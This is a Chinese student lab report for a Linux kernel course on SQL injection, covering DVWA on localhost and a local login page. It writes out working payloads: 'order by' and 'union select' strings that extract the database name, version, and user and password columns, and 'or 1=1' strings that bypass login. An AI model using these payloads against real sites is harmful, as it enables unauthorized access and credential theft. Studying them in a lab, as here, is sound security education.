1. 程式人生 > >2017-2018-1 20179215《Linux內核原理與分析》第十二周作業

2017-2018-1 20179215《Linux內核原理與分析》第十二周作業

繼續 解壓 判斷語句 cti 數據信息 接下來 分組 後臺數據庫 就是

Sql註入基礎原理介紹

分組:和20179205王雅哲共同完成實驗

一、實驗說明

1.1 sql註入

?SQL註入攻擊通過構建特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,通過執行SQL語句進而執行攻擊者所要的操作。

?SQL註入即是指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。

?●SQL註入威脅表現形式可以體現為以下幾點:

    ●繞過認證,獲得非法權限
    ●猜解後臺數據庫全部的信息
    ●註入可以借助數據庫的存儲過程進行提權等操作

?●SQL註入攻擊的典型手段:

    ●判斷應用程序是否存在註入漏洞
    ●收集信息、並判斷數據庫類型
    ●根據註入參數類型,重構SQL語句的原貌
    ●猜解表名、字段名
    ●獲取賬戶信息、攻擊web或為下一步攻擊做準備

1.2 web程序三層架構

三層架構(3-tier architecture) 通常意義上就是將整個業務應用劃分為:

  • 界面層(User Interface layer)
  • 業務邏輯層(Business Logic Layer)
  • 數據訪問層(Data access layer)。

區分層次的目的即為了“高內聚低耦合”的思想。在軟件體系架構設計中,分層式結構是最常見,也是最重要的一種結構被應用於眾多類型的軟件開發。由數據庫驅動的Web應用程序依從三層架構的思想也分為了三層:

  • 表示層。
  • 業務邏輯層(又稱領域層)
  • 數據訪問層(又稱存儲層)

    拓撲結構如下圖所示:

    技術分享圖片

?當我們訪問動態網頁時, Web 服務器會向數據訪問層發起 Sql 查詢請求,如果權限驗證通過就會執行 Sql 語句。這種網站內部直接發送的Sql請求一般不會有危險,但實際情況是很多時候需要結合用戶的輸入數據動態構造 Sql 語句,如果用戶輸入的數據被構造成惡意 Sql 代碼,Web 應用又未對動態構造的 Sql 語句使用的參數進行審查,則會帶來意想不到的危險。

二、實驗過程

?本實驗將通過 LAMP 搭建 Sql 註入環境,兩個實驗分別介紹 Sql 註入爆破數據庫、Sql 註入繞過驗證兩個知識點。

1、Sql 註入示例一.猜解數據庫

(1)如下圖所示,先下載文件並解壓運行:

技術分享圖片

(2)進入 Firefox 瀏覽器,輸入網址 : localhost/dvwasql , 點擊create/Reset Database創建數據庫:

技術分享圖片

(3)進入登錄界面,默認用戶名為:admin 密碼為:password

技術分享圖片

(4)將 Security 級別調整為 low

技術分享圖片

(5)進入 SQL injection頁面開始註入:

技術分享圖片

(6)先輸入 1 ,查看回顯 (URL中ID=1,說明php頁面通過get方法傳遞參數):

技術分享圖片

(7)那實際上後臺執行了什麽樣的Sql語句呢?點擊 view source查看源代碼 :

技術分享圖片

可以看到,實際執行的Sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = ‘1‘;

我們是通過控制參數Id的值來返回我們需要的信息。如果我們不按常理出牌,比如在輸入框中輸入 1‘ order by 1#,實際執行的Sql語句就會變成:

SELECT first_name, last_name FROM users WHERE user_id = ‘1‘ order by 1#`;(按照Mysql語法,#後面會被註釋掉,使用這種方法屏蔽掉後面的單引號,避免語法錯誤)

這條語句的意思是查詢users表中user_id為1的數據並按第一字段排行。

(8)輸入 1‘ order by 1#和 1‘ order by 2#時都返回正常,當輸入 1‘ order by 3#時,返回錯誤:

技術分享圖片
技術分享圖片
技術分享圖片

由此可知,users表中只有兩個字段,數據為兩列。

?接下來我們使用 union select聯合查詢繼續獲取信息。union 運算符可以將兩個或兩個以上 select 語句的查詢結果集合合並成一個結果集合顯示,即執行聯合查詢。需要註意在使用 union 查詢的時候需要和主查詢的列數相同,而我們之前已經知道了主查詢列數為 2,接下來就好辦了。輸入1‘ union select database(),user()#進行查詢 :

  • database()將會返回當前網站所使用的數據庫名字.
  • user()將會返回執行當前查詢的用戶名.

    實際執行的Sql語句是 :

    SELECT first_name, last_name FROM users WHERE user_id = ‘1‘ union select database(),user()#`;
    技術分享圖片

    通過上圖返回信息,我們成功獲取到:

  • 當前網站使用數據庫為 dvwa .
  • 當前執行查詢用戶名為 root@localhost .

    同理我們再輸入 1‘ union select version(),@@version_compile_os#進行查詢:

  • version() 獲取當前數據庫版本.
  • @@version_compile_os 獲取當前操作系統。

    實際執行的Sql語句是:

    SELECT first_name, last_name FROM users WHERE user_id = ‘1‘ union select version(),@@version_compile_os#`;
    技術分享圖片

    (9)接下來我們嘗試獲取 dvwa 數據庫中的表名。

    技術分享圖片

    由經驗我們可以大膽猜測users表的字段為 user 和 password ,所以輸入:1‘ union select user,password from users#進行查詢:

    技術分享圖片

    2、Sql 註入實例二.驗證繞過

    (1)如下圖所示,先下載文件並解壓運行:

    技術分享圖片

    (2)進入 Firefox 瀏覽器,輸入網址 : localhost/sql2 , 按照順序,初始化數據:

    技術分享圖片
    技術分享圖片

技術分享圖片

技術分享圖片

(3)準備工作完成之後,我們進入首頁發現這是一個普通的登錄頁面,只要輸入正確的用戶名和密碼就能登錄成功。我們先嘗試隨意輸入用戶名 123 和密碼 123 登錄,發現提示錯誤。

(4)按照第一個實驗的思路,我們嘗試在用戶名中輸入 123‘ or 1=1 #, 密碼同樣輸入 123‘ or 1=1 # :

技術分享圖片
技術分享圖片

為什麽能夠成功登陸呢?因為實際執行的語句是:

select * from users where username=‘123‘ or 1=1 #‘ and password=‘123‘ or 1=1 #‘

按照 Mysql 語法,# 後面的內容會被忽略,所以以上語句等同於(實際上密碼框裏不輸入任何東西也一樣):

select * from users where username=‘123‘ or 1=1

由於判斷語句 or 1=1 恒成立,所以結果當然返回真,成功登錄。

(5)再嘗試不使用 # 屏蔽單引號,采用手動閉合的方式:我們嘗試在用戶名中輸入 123‘ or ‘1‘=‘1, 密碼同樣輸入 123‘ or ‘1‘=‘1 (不能少了單引號,否則會有語法錯誤):

技術分享圖片

技術分享圖片

實際執行的 Sql 語句是:

select * from users where username=‘123‘ or ‘1‘=‘1‘ and password=‘123‘ or ‘1‘=‘1`

兩個 or 語句使 and 前後兩個判斷永遠恒等於真,所以能夠成功登錄。

總結

?一般來說,SQL註入一般存在於形如HTTP://xxx.xxx.xxx/abc.asp?id=XX等帶有參數的ASP動態網頁中,有時一個動態網頁中可能只有一個參數,有時可能又N個參數,有時是整型參數,有時是字符串型參數,不能一概而論。總之只要是帶有參數的動態網頁且此網頁訪問了數據庫,那麽就有可能存在SQL註入。如果ASP程序員沒有安全意識,不進行必要的字符過濾,存在SQL註入的可能性就非常大。至於如何防範SQL註入攻擊:請參考http://blog.csdn.net/testeralai/article/details/26478469

2017-2018-1 20179215《Linux內核原理與分析》第十二周作業